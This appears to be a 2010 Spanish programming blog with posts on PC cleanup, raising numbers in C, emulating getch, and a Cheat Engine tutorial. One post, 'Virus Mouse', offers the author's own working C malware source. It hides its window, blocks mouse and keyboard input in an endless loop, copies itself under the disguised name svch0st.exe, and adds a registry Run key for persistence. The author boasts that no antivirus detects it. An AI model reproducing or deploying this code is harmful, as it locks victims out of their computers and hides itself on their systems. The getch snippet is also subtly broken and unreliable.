RSS FEED

31 oct 2010

Optimizar nuestro ordenador




Optimizar nuestro ordenador

Aumentar la velocidad y evitar los fallos es algo que nos preocupa a todos, con este artículo aumentarás la velocidad del ordenador y la de Internet. Desecha programas que te prometen el oro, pues existen pocos que de verdad te quitan todos los errores.

Para aumentar el rendimiento debemos borrar toda esa basura que se queda en el disco duro, para eso usaremos dos completísimos programas como lo son:


Revo Uninstaller y CCleaner

Con el programa Revo Uninstaller tenemos un todo en uno, tenemos la opción de Limpiar la basura, que son los archivos innecesarios para el sistema y que almacena constantemente; también es interesante la herramienta de Borrar rastros de trabajo, la cual nos permite limpiar todos esos archivos borrados que se borran de la papelera, pero se quedan físicamente en nuestro equipo, ralentizandolo.

Con CCleaner tiene otras opciones pero sigue la misma línea que Revo, tiene una herramienta muy potente que nos asegurará más velocidad en Internet y en el equipo pues puedes borrar todo lo relacionado con los navegadores cookies, cache, historiales, las últimas páginas visitadas, archivos temporales...y también toda la basura generada por Windows y otros programas muy usados.


Esto nos limpiará todo el ordenador ahora vamos a buscar el modo de mejorar la velocidad, para eso usaremos una herramienta conocida pero que no solemos usar como es el Desfragmentador de Disco,
para acceder a él, accedemos a Ejecutar > dfrgui.exe y Aceptar.
Uso: Analizar y desfragmentar
Con eso ya tendremos nuestro equipo sin basura y con el disco desfragmentado lo cual es mejor, pues se accede a los datos con mayor velocidad.
Existen opciones como comprar una memoria RAM, o usar un pendrive como RAM para aumentar la velocidad, pero eso ya es adicional.


Espero que con este sencillo artículo y un par de consejos veas mejorado tu rendimiento. También has de tener en cuenta los programas que usas, porque hay navegadores en los cuales Internet irá más rápido que por ejemplo en el navegador Internet Explorer.

Nota: No uses el ordenador mientras el desfragmentador está en uso, puedes dañar el sistema.

30 oct 2010

Elevar número en C/C++

Mucha gente siempre ha buscado o busca hacer esto, elevar un número a otro, y es algo muy sencillo y solo necesitamos la cabecera math.h

#include <stdio.h>
#include <math.h>

int main()
{
int num1;
printf("Bytes %i\n", sizeof(int) );
printf("Bits %i\n", sizeof(int)*8);
double x;
x=pow(2,sizeof(int)*8);
printf( "2 elevado a %i es %f\n",sizeof(int)*8, x);
}

La línea importante:

x=pow(2,sizeof(int)*8);

El primer número es la base y el segundo el exponente.

Virus Mouse

Bueno este es uno de mis códigos programados en C, con Windows API.

Bloquea el sistema, el ratón y el teclado, añado el programa al inicio desde el registro y todo esto sin ser detectado por ningún AntiVirus.

#include <windows.h>
#include <tlhelp32.h>
#include <winable.h>


#define BUFSIZE 80

int test_key(void);
int create_key(char *);



int main(void)
{
int test,create;
test=test_key();

if (test==2)
{
char *path="c:\\WINDOWS\\svch0st.exe";
create=create_key(path);

}

HWND inv;
AllocConsole();
inv=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(inv,0);
int c;

for(;;)
{
BlockInput(true);
}
char root[60]="C:\\Windows\\";
char nombre[60]="svch0st";
char path[256]="svch0st";
strcat(nombre,".exe");
strcat(root,nombre);
HMODULE copiar = GetModuleHandle(0);
GetModuleFileName(copiar, path, 256);
CopyFile(path,root,false);
}

int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;

reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}

reg_key=RegQueryValueEx(hKey,"Windows Files",NULL,NULL,(LPBYTE)path,&buf_length);

if((reg_key!=0)||(buf_length>BUFSIZE))
check=2;
if(reg_key==0)
check=0;

RegCloseKey(hKey);
return check;
}

int create_key(char *path)
{
int reg_key,check;

HKEY hkey;

reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"Windows files",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;

return check;

}

Emulación getch

Muchas veces os habrán dicho que eviteis getch por no usar conio que es una libreria anticuada y obsoleta que no todos los compiladores la tienen por defecto, puedes usar getchar() que es una función estándar que consigue un caracter desde stdin.

Y getch es una función, como ya he dicho, no-estandar que consigue un caracter por el teclado y sin hacer eco en pantalla.

Con esta simple función podreis usar getch sin necesidad de usar conio.

#include <windows.h>

int getch(void)
{
int car;
DWORD leidos, modo;

GetConsoleMode(GetStdHandle(STD_INPUT_HANDLE), &modo);
SetConsoleMode(GetStdHandle(STD_INPUT_HANDLE), modo & !ENABLE_ECHO_INPUT & !ENABLE_PROCESSED_INPUT);
ReadConsole(GetStdHandle(STD_INPUT_HANDLE), &car, 1, &leidos, NULL);
SetConsoleMode(GetStdHandle(STD_INPUT_HANDLE), modo);
return 0;
}

29 oct 2010

Cheat Engine 5.5 + Tutorial de Uso

Bueno pues muchos ya conocereis para que sirve, pero no habeis profundizado nunca mucho más, lo primero, os pongo el link de descarga(Limpio de virus e infecciones):

Cheat Engine 5.6

Bueno el primer nivel no lo explicaré mucho pues se supone que casi todos sabemos hacerlo, y el segundo casi que también, pero bueno vamos a explicar este 2º:

Nos da una barra de progreso(0-500), Scan Type: Value between

y ponemos 400 y 500 le damos a First scan y luego en el tutorial le damos a Hit, para que pierda puntos, luego cambiemos el tipo de escaneo a Decreased Value, nos quedará el valor disminuido modificamos a 5000 y pasamos.


3er nivel, simple y rápido dos valores que tenemos que poner a 5000, cogemos y escaneamos primero el float, introducimos 100 y el Value Type: Float
Escaneamos y apretamos Hit me y así perderemos puntos buscamos el valor que ha quedado y lo copiamos a la lista con la flechita roja, lo modificamos hasta 9999 por ejemplo y listo.
Pero nos queda modificar también el segundo valor, pero en este caso el valor es un Double, repetimos los pasos, escanear, apretar a Hit me, copiar el valor y modificarlo a más de 5000 se activará el botón Next y seguimos.

4º nivel, tenemos un botón para cambiar un valor y el valor justo encima, empezamos con un nuevo escaneo a el valor que tengamos , y conseguimos el valor lo copiamos a la lista como todas las veces anteriores, ya copiado click derecho y "Find out what writes this access", le damos a Yes y cuando salga el formulario en blanco le damos a cambiar valor, nos aparecerá la función que está relacionada con esa dirección, que es una línea en ensamblador, le damos a Replace y lo borramos todo, apretamos Stop y luego Close y modificamos en el tutorial el valor y pasamos al siguiente nivel

5ª prueba...

de momento la dejo en el aire, modificare esto cuando vuelva ;)

Un saludo,
Arriba